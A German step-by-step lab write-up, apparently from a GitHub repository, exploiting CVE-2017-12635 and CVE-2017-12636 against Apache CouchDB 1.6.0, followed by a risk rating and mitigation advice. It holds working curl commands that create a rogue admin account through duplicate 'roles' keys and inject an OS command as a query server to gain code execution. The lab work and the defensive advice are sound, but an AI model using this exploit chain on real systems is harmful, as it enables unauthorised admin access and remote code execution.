dungsocool/cve-2017-12635_36Schritt-für-Schritt-Labor, das die Ausnutzung von CVE-2017-12635 (Privilegieneskalation) und CVE-2017-12636 (Remote-Codeausführung) gegen Apache CouchDB 1.6.0 demonstriert, mit Risikobewertung und Abhilfeanleitung.
Beginnend mit der Analyse, was in der Umgebung ausgeführt wird. Ich liste alle aktiven Container auf:
docker ps
Das Opfer setzt einen einzelnen Port frei: 5984
⇒ Ich führe direkt ein curl darauf aus, um weitere Informationen zu sammeln:
curl -i http://192.168.3.137:5984/
Analyse der Antwort:
Antwort: HTTP/1.1 200 OK, was beweist, dass der Dienst auf Port aktiv ist und direkt über HTTP erreichbar ist.
5984Server-Header: CouchDB/1.6.0 (Erlang OTP/17) und der JSON-Body mit "version":"1.6.0" bestätigen, dass es sich um Apache CouchDB Version 1.6.0 handelt.
Bewertung der Angriffsfläche:
Der CouchDB-Dienst ist extern über Port 5984 verfügbar. Dies ist der Standardport für die CouchDB-HTTP-API und ermöglicht die Interaktion mit der Datenbank über eine REST-API.
Version CouchDB 1.6.0 ist eine alte Version, die vor dem Patch 1.7.1 veröffentlicht wurde. Laut Apache-Dokumentation sind CouchDB-Versionen in diesem Bereich betroffen von:
roles-Schlüssel.=> Überlegung: Aus der erhaltenen Antwort gibt es ausreichende Beweise, um festzustellen, dass das Opfer Apache CouchDB 1.6.0 auf Port 5984 ausführt. Dies ist eine ältere Version, die mit der Exploit-Kette von CVE-2017-12635 und CVE-2017-12636 verbunden ist. Daher ist ein logischer Exploit-Pfad, zuerst den Authentifizierungsstatus zu testen und dann das Potenzial für Privilege Escalation oder Befehlsausführung über die CouchDB-HTTP-API zu bewerten.
CVE-2017-12635 nutzt die Diskrepanz zwischen zwei JSON-Parsern in CouchDB aus. Beim Senden eines Benutzerdokuments an /_users mit zwei doppelten roles-Schlüsseln verwendet CouchDB den zweiten roles-Schlüssel, um die Schreibrechte für das Dokument zu prüfen, nutzt aber den ersten roles-Schlüssel für die tatsächlichen Berechtigungen des Benutzers nach der Erstellung. Somit setzt ein Angreifer die ersten roles auf ["_admin"] und die zweiten roles auf [], um die Validierungsprüfung zu umgehen, was dazu führt, dass der erstellte Benutzer Administratorrechte besitzt.
Gemäß der CouchDB-Dokumentation speichert CouchDB Benutzerinformationen in einer speziellen Datenbank namens _users, wobei jedes Benutzerdokument eine ID im Format org.couchdb.user:<Benutzername> hat. Da wir einen Benutzer namens hacker erstellen müssen, wird der Endpunkt /_users/org.couchdb.user:hacker verwendet. Ich erstelle einen neuen Benutzer und weise ihm Admin-Rechte zu, um zu sehen, wie der Server reagiert.
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'
Die zurückgegebene Antwort ist true, was beweist, dass der Benutzer erfolgreich erstellt wurde. Ich führe eine Verifizierungsprüfung mit den neu erstellten admin-Zugangsdaten durch: curl -u hacker:password123 http://192.168.3.137:5984/_users. Der /_users-Endpunkt ist eine Systemdatenbank, aus der standardmäßig nur Administratoren Metadaten lesen können. Wenn ein normaler Benutzer eine Anfrage stellt → 403 Forbidden. Die 200 OK-Antwort mit vollständigen DB-Informationen bestätigt, dass das hacker-Konto tatsächlich _admin-Rechte besitzt. Dies passt perfekt zur CVE-2017-12635-Hypothese auf Apache CouchDB 1.6.0.
Zusammenfassung:
Ich habe CVE-2017-12635 auf Apache CouchDB 1.6.0 erfolgreich verifiziert. Anfangs zeigte Port 5984 nur, dass die CouchDB-HTTP-API offengelegt war. Nach dem Fingerprinting per curl bestätigte die Antwort, dass der Dienst CouchDB 1.6.0 ist, eine Version innerhalb der verwundbaren Bandbreite von CVE-2017-12635.
Anstatt sofort zu schlussfolgern, dass RCE möglich ist, habe ich zuerst den Authentifizierungsablauf Schritt für Schritt verifiziert. Durch Senden eines Benutzerdokuments an /_users mit zwei doppelten roles-Schlüsseln erstellte das Payload erfolgreich den Benutzer hacker. Anschließend gab die Anfrage an /_users über curl -u hacker:password123 200 OK zusammen mit Systemdatenbank-Details zurück, was beweist, dass der Benutzer hacker tatsächlich _admin-Rechte besitzt.
Folglich erweitert sich die Angriffsfläche auf CVE-2017-12636, sobald CouchDB-Adminrechte erlangt wurden, da Administratoren die CouchDB-Konfiguration über die HTTP-API ändern können. Dies dient als Voraussetzung, um die Möglichkeiten zur Remote-Code-Ausführung auf dem Server weiter zu bewerten.
⇒ Überlegung: Verwende die neu erlangten Admin-Rechte, um die Befehlsausführung auf Betriebssystemebene zu testen.
Laut der Apache-CouchDB-Dokumentation ist ein Query Server ein externer Prozess, der von CouchDB verwendet wird, um Designfunktionen zu verarbeiten, beispielsweise eine JavaScript-View im MapReduce-Mechanismus. Wenn ein Designdokument ein "language"-Feld deklariert, verwendet CouchDB diesen Wert, um den entsprechenden Query Server in der query_servers-Konfiguration zu suchen.
Wenn das Designdokument "language": "javascript" enthält, fragt CouchDB die query_servers.javascript-Konfiguration ab, um zu bestimmen, welcher Prozess gestartet werden soll, um die Map/Reduce-Funktion zu verarbeiten. Dies ist ein legitimes CouchDB-Design, da der CouchDB-Kern nicht den gesamten View-Code direkt in der Datenbank-Engine ausführt.
⇒ Das Problem bei CVE-2017-12636 liegt in der Fähigkeit eines CouchDB-Administrators, die Serverkonfiguration über die HTTP-API zu ändern. Einige dieser Konfigurationen enthalten Pfade zu Binärdateien oder Prozessen auf Betriebssystemebene, die CouchDB starten wird. Daher kann ein Angreifer nach Erlangen der Admin-Rechte durch CVE-2017-12635 query_servers.<language> ändern, sodass es auf einen OS-Befehl zeigt. Beim Auslösen einer View, die die entsprechende Sprache verwendet, wird CouchDB den Befehl starten, was zu einer Befehlsausführung auf dem Server führt.
Angriffsablauf:
query_servers.cmd über den /_config-Endpunkt."language": "cmd".query_servers.cmd und startet den konfigurierten Prozess.Schreiben der bösartigen query_server-Konfiguration
Registriere einen „Query Server" mit einem beliebigen Namen, wobei der Wert der OS-Befehl ist:
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
-H "Content-Type: application/json" \
-d '"id 1>/tmp/pwned 2>&1"'
Dies ist der OS-Befehl, der vom CouchDB-Prozess gestartet wird.
Auslösen der Ausführung – Erstellen von Datenbank und Dokument
# Testdatenbank erstellen
curl -X PUT http://hacker:[email protected]:5984/rcetest
# Designdokument mit View erstellen, das die Sprache "cmd" verwendet
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
-H "Content-Type: application/json" \
-d '{
"language": "cmd",
"views": {
"myview": {
"map": "function(doc){}"
}
}
}'
# View auslösen → CouchDB startet Query Server "cmd" → führt OS-Befehl aus
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview
Ausführungsablauf:
View query → [HTTP PUT Config] -> [Inject OS command as mock query language]
→ [HTTP PUT Design Doc] -> [Assign handling attribute to the mock query language]
→ [HTTP GET View] -> [Force CouchDB config lookup -> Spawn subprocess executing command]
→ [Read /tmp/pwned] -> [Confirm successful execution privilege (RCE)]
RCE verifizieren:
docker exec project1-lab07-1 cat /tmp/pwned
Überlegung: Dieser RCE-Angriff ist blind/asynchron, da die Befehlsausgabe nicht direkt in der HTTP-Antwort zurückgegeben wird. Um daher zu beweisen, dass der Befehl ausgeführt wurde, verwendete ich ein Payload, das einen Nebeneffekt erzeugt, indem es die Ausgabe des id-Befehls in die Datei /tmp/pwned schreibt. Beim Lesen der Datei /tmp/pwned im Container und Beobachten der Ausgabe uid=1000(couchdb) gid=999(couchdb) können wir schlussfolgern, dass CouchDB den OS-Befehl erfolgreich mit den Rechten des couchdb-Benutzers ausgeführt hat.
Das Ergebnis uid=1000(couchdb) zeigt, dass der Befehl nicht mit Root-Rechten ausgeführt wurde, sondern mit den Rechten des CouchDB-Prozesses. Dies bleibt ausreichend, um zu beweisen, dass CVE-2017-12636 zu Remote-Code-Ausführung innerhalb der Grenzen der Dienstberechtigungen führt.
Die Schwachstelle der JSON-Parser-Inkonsistenz (CVE-2017-12635) in Kombination mit der Query-Server-Injection (CVE-2017-12636) auf dem System wird auf der höchsten Risikostufe bewertet:
| Kriterium | Bewertung | Details |
|---|---|---|
| CVSS-Score | 9.8 (Kritisch) | Nahe am Maximum; nur eine einzelne HTTP-Anfrage zur Ausnutzung erforderlich. |
| Authentifizierung (Auth) | Nicht erforderlich | Angreifer benötigen weder ein Konto noch einen Login. CVE-2017-12635 ermöglicht die Remote-Erstellung von administrativen Konten. |
| Komplexität | Sehr gering | Beinhaltet lediglich das Senden einer einzelnen HTTP-PUT-Anfrage mit einem JSON-Payload mit einem doppelten "roles"-Schlüssel an den /_users-Endpunkt. |
| Erlangte Rechte | couchdb (uid=1000) | Startet OS-Befehle mit den Rechten des Benutzers, der CouchDB ausführt, und ermöglicht das Lesen/Schreiben von Systemdateien sowie den Zugriff auf alle Datenbanken. |
| Laterale Bewegung | Hoch | Von dem kompromittierten Container aus kann ein Angreifer interne Scans (LAN) durchführen und andere Container oder die Host-Maschine im selben Docker-Netzwerk angreifen. |
Um diese Schwachstellen umfassend zu entschärfen, muss das Systemadministrationsteam die folgenden Maßnahmen umsetzen (nach Priorität geordnet):
require_valid_user = true in der local.ini-Konfigurationsdatei, um sämtlichen anonymen API-Zugriff zu blockieren. Führe CouchDB niemals im „Admin Party"-Modus aus (in dem es keinen Admin gibt und jeder zum Admin wird).127.0.0.1.config_whitelist in der local.ini-Datei, um einzuschränken, welche Konfigurationsschlüssel über die API geändert werden können, und zu verhindern, dass Angreifer den /_config/query_servers-Endpunkt zur Injektion von OS-Befehlen missbrauchen.